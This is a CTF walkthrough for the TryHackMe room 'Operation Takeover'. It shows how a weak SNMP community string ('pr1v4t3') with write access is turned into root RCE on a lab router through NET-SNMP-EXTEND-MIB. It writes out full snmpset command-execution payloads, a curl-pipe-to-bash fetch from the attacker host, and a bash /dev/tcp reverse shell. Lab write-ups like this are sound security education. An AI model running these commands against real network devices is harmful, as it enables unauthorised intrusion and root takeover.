> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-takeover.md).

# Operation Takeover

{% embed url="<https://tryhackme.com/room/operationtakeover>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

We've gained access to the network devices VLAN. It's time to hack into one of the routers!

## Summary

<details>

<summary>Summary</summary>

In Operation Takeover, we enumerate a network device VLAN and identify a Linux-based router exposing SSH, BGP, FRRouting VTY, and an SNMP service. After failing to brute-force the VTY interface, we discover a weak SNMP community string, `pr1v4t3`, using onesixtyone, granting authenticated access to the device MIB. We confirm misconfiguration by achieving SNMP write access, then pivot to remote code execution using the NET-SNMP-EXTEND-MIB by defining a malicious extend entry that executes arbitrary system commands. By chaining this with a curl-hosted bash payload, we trigger a reverse shell callback and achieve root-level access on the router, fully compromising the device and retrieving the flag from `/root/flag.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.114.155.6 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -a 10.114.155.6  -- -sV -sC
```

{% endcode %}

<figure><img src="/files/bQJmEtV2JPMLYz5H6ePN" alt=""><figcaption></figcaption></figure>

The target machine appears to be a Linux-based router/network appliance host running Ubuntu with `FRRouting (FRR) 10.0` and `OpenSSH 8.2p1`. The exposed services are SSH on `22`, BGP on `179`, and an `FRRouting VTY management interface` on `2623` requiring password authentication. Port `179` strongly suggests active BGP peering capability, while `2623` could expose direct administrative access to the routing daemon.

<figure><img src="/files/rPaJ6OWqouTSVxNI50DE" alt=""><figcaption></figcaption></figure>

While `2623` could expose direct administrative access to the routing daemon it is password restricted. Initial brute-force attempts were unsuccessful.

<figure><img src="/files/pBfNr5RewDkhA001VDF1" alt=""><figcaption></figcaption></figure>

We perform a UDP scan using Nmap and find that port 161 is open SNMP.

Running a version and script scan reveals that the target is running an SNMPv3 service. While SNMPv3 requires at least password-based authentication when properly configured, the server also supports SNMPv1 and SNMPv2. Since the older versions may allow easier enumeration, let’s try interacting with it using SNMPv2.

{% code overflow="wrap" expandable="true" %}

```
nmap -sU -p 161 10.114.155.6
```

{% endcode %}

<figure><img src="/files/8TRnVKOvnssln7SbiEd1" alt=""><figcaption></figcaption></figure>

We used `onesixtyone` to brute-force SNMP community strings against the target with a common wordlist from SecLists. This checks whether the target's SNMPv1/v2c service accepts weak or default community strings like `public` or `private`.&#x20;

We find what we're looking for and enumerate the community string `pr1v4t3`.

{% code overflow="wrap" expandable="true" %}

```
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.114.155.6
```

{% endcode %}

<figure><img src="/files/dYo5m5Qz28QIKp83gZnh" alt=""><figcaption></figcaption></figure>

We used `snmpwalk` with SNMPv2c and the discovered community string `pr1v4t3` to enumerate the target's Management Information Base (MIB). This allows us to retrieve detailed system and service information exposed over SNMP. But we do not find any useful information like a password used for the `FRRouting VTY management interface`.

{% code overflow="wrap" expandable="true" %}

```
snmpwalk -v2c -c pr1v4t3 10.114.155.6
```

{% endcode %}

<figure><img src="/files/GXNjKrxtBs4Acybh8S0G" alt=""><figcaption></figcaption></figure>

## Shell as root

The community strings `private` or `pr1v4t3` are commonly used for read-write SNMP access, meaning they may allow not only enumeration but also modification of device settings if misconfigured. If so, we might be able to leverage the write permission to gain RCE.&#x20;

The following source provides a helpful overview of SNMP penetration testing:

{% embed url="<https://hackviser.com/tactics/pentesting/services/snmp#write-access-exploitation>" %}

First, let's see if we can write. We try to change the system name...

{% code overflow="wrap" expandable="true" %}

```
snmpset -v2c -c pr1v4t3 10.114.155.6 .1.3.6.1.2.1.1.5.0 s "Pwned"
```

{% endcode %}

... and we are successful.

{% code overflow="wrap" expandable="true" %}

```
snmpget -v2c -c pr1v4t3 10.114.155.6 .1.3.6.1.2.1.1.5.0 
```

{% endcode %}

<figure><img src="/files/74drQ0fVXc0thWcgDQb5" alt=""><figcaption></figcaption></figure>

A detailed report on how to achieve code execution via SNMP write can be found here:

{% embed url="<https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e>" %}

### Read Flag

SNMP write access can be leveraged for RCE because `NET-SNMP-EXTEND-MIB` allows defining custom extend entries that the SNMP agent executes on the host turning SNMP into a command launcher.

Setting `nsExtendStatus."command" = createAndGo` triggers the agent to start a new extend task, which runs the command defined in `nsExtendCommand` with the supplied arguments.&#x20;

We try to list the file in `/root`.

{% code overflow="wrap" expandable="true" %}

```
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c pr1v4t3 \
    10.114.155.6 \
    'nsExtendStatus."command"'  = createAndGo \
    'nsExtendCommand."command"' = /bin/bash \
    'nsExtendArgs."command"'    = '-c "ls /root"'
```

{% endcode %}

<figure><img src="/files/XfFyPC7dS3k8UlNcx0d3" alt=""><figcaption></figcaption></figure>

The SNMP walk triggers execution because the NET-SNMP extend MIB evaluates commands dynamically when its OID subtree is queried, causing the agent to run or refresh the defined command during the request.

We run the following command to trigger the command placed. We see the flag is placed at `/root/flag.txt`.

`.1.3.6.1.4.1.8072.1.3.2` is part of the NET-SNMP enterprise MIB tree.

* `1.3.6.1.4.1` → private enterprise space (IANA)
* `8072` → NET-SNMP (UCD-SNMP) enterprise ID
* `1.3.6.1.4.1.8072.1` → NET-SNMP MIB root
* `...1.3` → NET-SNMP extend mechanism
* `...2` → extend output table

{% code overflow="wrap" expandable="true" %}

```
snmpwalk -v2c -c pr1v4t3 10.114.155.6 .1.3.6.1.4.1.8072.1.3.2
```

{% endcode %}

<figure><img src="/files/O6xWv71toBGPOvqW95Ax" alt=""><figcaption></figcaption></figure>

Next, we updated the NET-SNMP-EXTEND-MIB entry to read the flag. We might need to issue it twice.

{% code overflow="wrap" expandable="true" %}

```
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c pr1v4t3 \
    10.114.155.6 \
    'nsExtendStatus."command"'  = createAndGo \
    'nsExtendCommand."command"' = /bin/bash \
    'nsExtendArgs."command"'    = '-c "cat /root/flag.txt"'
```

{% endcode %}

<figure><img src="/files/ymoK8Rv14SS0ButnsaQD" alt=""><figcaption></figcaption></figure>

We trigger the placed command and are able to read the flag.

{% code overflow="wrap" expandable="true" %}

```
snmpwalk -v2c -c pr1v4t3 10.114.155.6 .1.3.6.1.4.1.8072.1.3.2
```

{% endcode %}

<figure><img src="/files/QBSlqlNICMDJNDRzMUKb" alt=""><figcaption></figcaption></figure>

### Get Shell

To get a shell we prepare the following. Since the size in characters to use is limited we request a reverse shell script via curl and immediately execute it.&#x20;

We run a python web server to fetch the shell script later.

{% code overflow="wrap" expandable="true" %}

```
python -m http.server 80
```

{% endcode %}

<figure><img src="/files/62ObrLQlxl8CcIuBFFI7" alt=""><figcaption></figcaption></figure>

We prepare a listener to catch our reverse shell.

{% code overflow="wrap" expandable="true" %}

```
nc -lnvp 4445
```

{% endcode %}

<figure><img src="/files/71uiHhYL9Q03X2QO9DmL" alt=""><figcaption></figcaption></figure>

And place the following reverse shell script in the root folder of our web server.

{% code overflow="wrap" expandable="true" %}

```
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.135.32/4445 0>&1
```

{% endcode %}

<figure><img src="/files/IW0uILU9kqlXZ7E8bJt8" alt=""><figcaption></figcaption></figure>

We fetch and execute the reverse shell via `/bin/bash-c "curl 192.168.135.32/shell.sh|bash`.

{% code overflow="wrap" expandable="true" %}

```
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c pr1v4t3 \
    10.114.155.6 \
    'nsExtendStatus."command"'  = createAndGo \
    'nsExtendCommand."command"' = /bin/bash \
    'nsExtendArgs."command"'    = '-c "curl 192.168.135.32/shell.sh|bash"'
```

{% endcode %}

<figure><img src="/files/ZiBZdQJ9otA2pkkf7kbP" alt=""><figcaption></figcaption></figure>

Next, we trigger the placed command. The reverse shell script gets fetched and executed.

{% code overflow="wrap" expandable="true" %}

```
snmpwalk -v2c -c pr1v4t3 10.114.155.6 .1.3.6.1.4.1.8072.1.3.2
```

{% endcode %}

<figure><img src="/files/ukyc8vDcki9tl6g5eB7b" alt=""><figcaption></figcaption></figure>

We are `root` and find the flag at `/root/flag.txt`.

<figure><img src="/files/jpNiAEt1uLcyw8jNdoq4" alt=""><figcaption></figcaption></figure>
